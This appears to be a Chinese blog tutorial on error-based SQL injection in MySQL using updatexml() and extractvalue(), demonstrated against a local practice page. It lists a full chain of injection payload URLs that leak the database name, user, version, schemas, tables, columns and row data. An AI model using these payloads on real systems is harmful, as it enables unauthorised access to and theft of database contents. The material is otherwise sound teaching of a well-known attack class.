小伙伴们大家好,本期为大家带来的内容是SQL注入原理之报错盲注。
目录
为什么要使用报错盲注?
常见的报错函数
updatexml()函数
extractvalue()函数
实战演示
1.检测是否存在注入点
2.执行报错语句爆出数据
1、爆出当前数据库名
2、爆出当前数据库用户名
3、爆出当前数据库的版本
4、爆出所有的数据库名
5、爆出数据库下的表名
6、爆出数据库下的所有字段名
7、查询表中的数据
对于一些网站,不会把后端SQL语句执行的结果展示在前端,而只是作为一种校验功能,例如登录的功能,通过对用户名与密码的查询看数据库中是否存在此用户。
这时候我们就可以通过构造错误的SQL语句让数据库执行,故意让数据库爆出错误信息。这样我们就可以通过爆出的错误信息得到我们想要的数据。(另外一定要注意,报错盲注的前提是后端语言代码使用了报错的函数,如PHP的mysqli_error()函数。)
updatexml()函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 新的XML片段 ,然后返回更改的XML。
updatexml函数的使用形式为updatexml(XML_document,XPath_string,new_value)
XML_document是String格式,为XML文档对象的名称。
XPath_string ,XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值) 。我们就是通过这个参数让数据库报错,继而得到我们需要的数据。
new_value,String格式,替换查找到的符合条件的数据。
例如我们使用MySQL执行下面的语句:
select updatexml(1,concat(0x7e,user(),0x7e),1);
其中concat()函数是把传入的值拼接成一个字符串,0x7e是~符号的ascii码的16进制,是为了方便我们找到报错的信息。
extractvalue()函数与updatexml()函数类似,只不过它比updatexml()函数少了一个new_value参数。
extractvalue()函数的使用形式为extractvalue(XML_document,XPath_string)
XML_document是String格式,为XML文档对象的名称。
XPath_string ,XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值) 。我们也是通过这个参数让数据库报错,继而得到我们需要的数据。
例如我们使用MySQL执行下面的语句:
select extractvalue(1,concat(0x7e,user(),0x7e));
源码:
";
echo "You have successfully executed SQL statement for querying the data with id!
";
echo "";
}else{
echo "";
echo "";
print_r(mysqli_error($coon));
echo "
";
}
} else {
echo "
";
echo "Please input a value as id!
";
echo " ";
}
构造payload:“http://127.0.0.1/opsql/sql09.php?id=1 and 1=2”
http://127.0.0.1/opsql/sql09.php?id=1 and 1=2
and 1=1时页面正常回显,and 1=2时页面没有正常回显,代表构造的and条件插入到了后端SQL查询语句,说明存在注入点。
但是呢,我们看不到数据,页面只告诉我们SQL语句查询成功,这就有点伤。
要怎么做呢?
这就要用到我们的报错注入了。
payload:
“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)”
http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
看到当前数据库名为test。
payload:
“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,user(),0x7e),1)”
http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,user(),0x7e),1)
payload:
“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,version(),0x7e),1)”
http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,version(),0x7e),1)
payload:
“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata),0x7e),1)”
http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata),0x7e),1)
information_schema数据库是MySQL5.0之后自带的数据库,infomation_schema数据下的schemata表存储了所有数据库名,information_schema数据库下的tables表存储了所有的表名,information_schema数据库下的columns表存储了所有的字段名。
发现没有显示数据,咋回事呢?
页面显示returns more than 1 row,代表咱们查询的结果可能太多了,咱们要在加一个limit num1,num2限制条件。
limit num1,num2 的作用使用显示查询结果索引为num1后num2个数据。
payload:
“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)”
http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)
接下来我们可以通过增加limit的num1 的值来获取剩下的结果。
这里就不一一演示了。
不过我们还可以使用group_concat()函数使查询到的多条结果拼接成一条结果,但是updatexml()函数报错结果有32位的长度限制。
payload:
“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='study'),0x7e),1)”
http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='study'),0x7e),1)
payload:
“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='study' and table_name='student'),0x7e),1)”
http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='study' and table_name='student'),0x7e),1)
payload:
“http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(name) from study.student),0x7e),1)”
http://127.0.0.1/opsql/sql09.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(name) from study.student),0x7e),1)
查询其他的字段信息就交给小伙伴们了!